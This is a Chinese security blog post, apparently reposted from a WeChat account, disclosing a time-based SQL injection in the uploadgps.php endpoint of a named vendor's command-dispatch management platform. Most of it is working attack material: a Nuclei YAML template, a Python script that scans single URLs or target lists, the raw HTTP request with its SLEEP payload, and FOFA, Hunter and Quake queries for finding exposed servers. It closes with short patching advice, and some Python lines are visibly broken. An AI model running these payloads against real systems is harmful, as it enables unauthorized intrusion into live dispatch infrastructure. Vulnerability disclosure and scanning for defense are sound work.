指挥调度管理平台uploadgps.php存在SQL注入 含POC

admin 2024年7月2日17:20:44评论14 views字数 3666阅读12分13秒阅读模式

POC(Yaml&Python)

话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)

  • 「Yaml」
id: kirisun-uploadgps-sqli

info:
name: 福建科立讯通信有限公司指挥调度管理平台uploadgps.php存在SQL注入
author: god
severity: high
description: 福建科立讯通信有限公司指挥调度管理平台uploadgps.php存在SQL注入
metadata:
fofa-query: body="指挥调度管理平台"
tags: sqli,kirisun

http:
- raw:
- |-
@timeout: 30s
POST /api/client/task/uploadgps.php HTTP/1.1
Host: {{Hostname}}
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

uuid=&gps=1'+AND+(SELECT+7679+FROM+(SELECT(SLEEP(4)))ozYR)+AND+'fqDZ'='fqDZ&number=

max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=4 && duration<6'
condition: and

 

指挥调度管理平台uploadgps.php存在SQL注入 含POC

指挥调度管理平台uploadgps.php存在SQL注入 含POC

  • 「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : god
import requests
import argparse
import time

RED = '�33[91m'
RESET = '�33[0m'

# Function to check vulnerability
def check_vulnerability(url):
try:
# Construct the attack URL
path = "/api/client/task/uploadgps.php"
payload = "uuid=&gps=1'+AND+(SELECT+7679+FROM+(SELECT(SLEEP(4)))ozYR)+AND+'fqDZ'='fqDZ&number="

full_url = url.rstrip('/') + path
headers = {
"Content-Type""application/x-www-form-urlencoded"
}

start_time = time.time()
# Send the request
response = requests.post(full_url, data=payload, headers=headers, timeout=30)
elapsed_time = time.time() - start_time

if 4 <= elapsed_time < 6:
print(f"{RED}URL [{url}] 可能存在福建科立讯通信有限公司指挥调度管理平台 uploadgps.php SQL注入漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")

# Main function to parse arguments and check vulnerability
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在福建科立讯通信有限公司指挥调度管理平台 uploadgps.php SQL注入漏洞')
parser.add_argument('-u''--url', help='指定目标地址')
parser.add_argument('-f''--file', help='指定包含目标地址的文本文件')

args = parser.parse_args()

if args.url:
if not args.url.startswith("http://"and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r'as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://"and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)

if __name__ == '__main__':
main()

指挥调度管理平台uploadgps.php存在SQL注入 含POC


漏洞介绍

科立讯通信指挥调度管理平台是一个专门针对通信行业的管理平台。该产品旨在提供高效的指挥调度和管理解决方案,以帮助通信运营商或相关机构实现更好的运营效率和服务质量。该平台提供强大的指挥调度功能,可以实时监控和管理通信网络设备、维护人员和工作任务等。其uploadgps接口存在sql注入,恶意攻击者可能会向数据库发送构造的恶意SQL查询语句,以获取数据库敏感信息、修改数据或者执行其他恶意操作,还有可能直接通过sql注入获取服务器权限。

指挥调度管理平台uploadgps.php存在SQL注入 含POC

资产测绘

  • 「Fofa」

body="指挥调度管理平台"

  • 「Hunter」

web.body="指挥调度管理平台"

  • 「Quake」

body="指挥调度管理平台"

指挥调度管理平台uploadgps.php存在SQL注入 含POC

漏洞复现

「1、构造数据包」

POST /api/client/task/uploadgps.php HTTP/1.1
Host: ip
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83

uuid=&gps=1'+AND+(SELECT+7679+FROM+(SELECT(SLEEP(4)))ozYR)+AND+'fqDZ'='fqDZ&number=

「2、查看返回包时间」

指挥调度管理平台uploadgps.php存在SQL注入 含POC

修复方案

  • 官方已发布安全补丁,建议联系厂商打补丁或升级版本。
  • 引入Web应用防火墙防护,配置接口拦截策略。

 

原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】指挥调度管理平台uploadgps.php存在SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月2日17:20:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   指挥调度管理平台uploadgps.php存在SQL注入 含POChttp://cn-sec.com/archives/2908226.html

发表评论

匿名网友 填写信息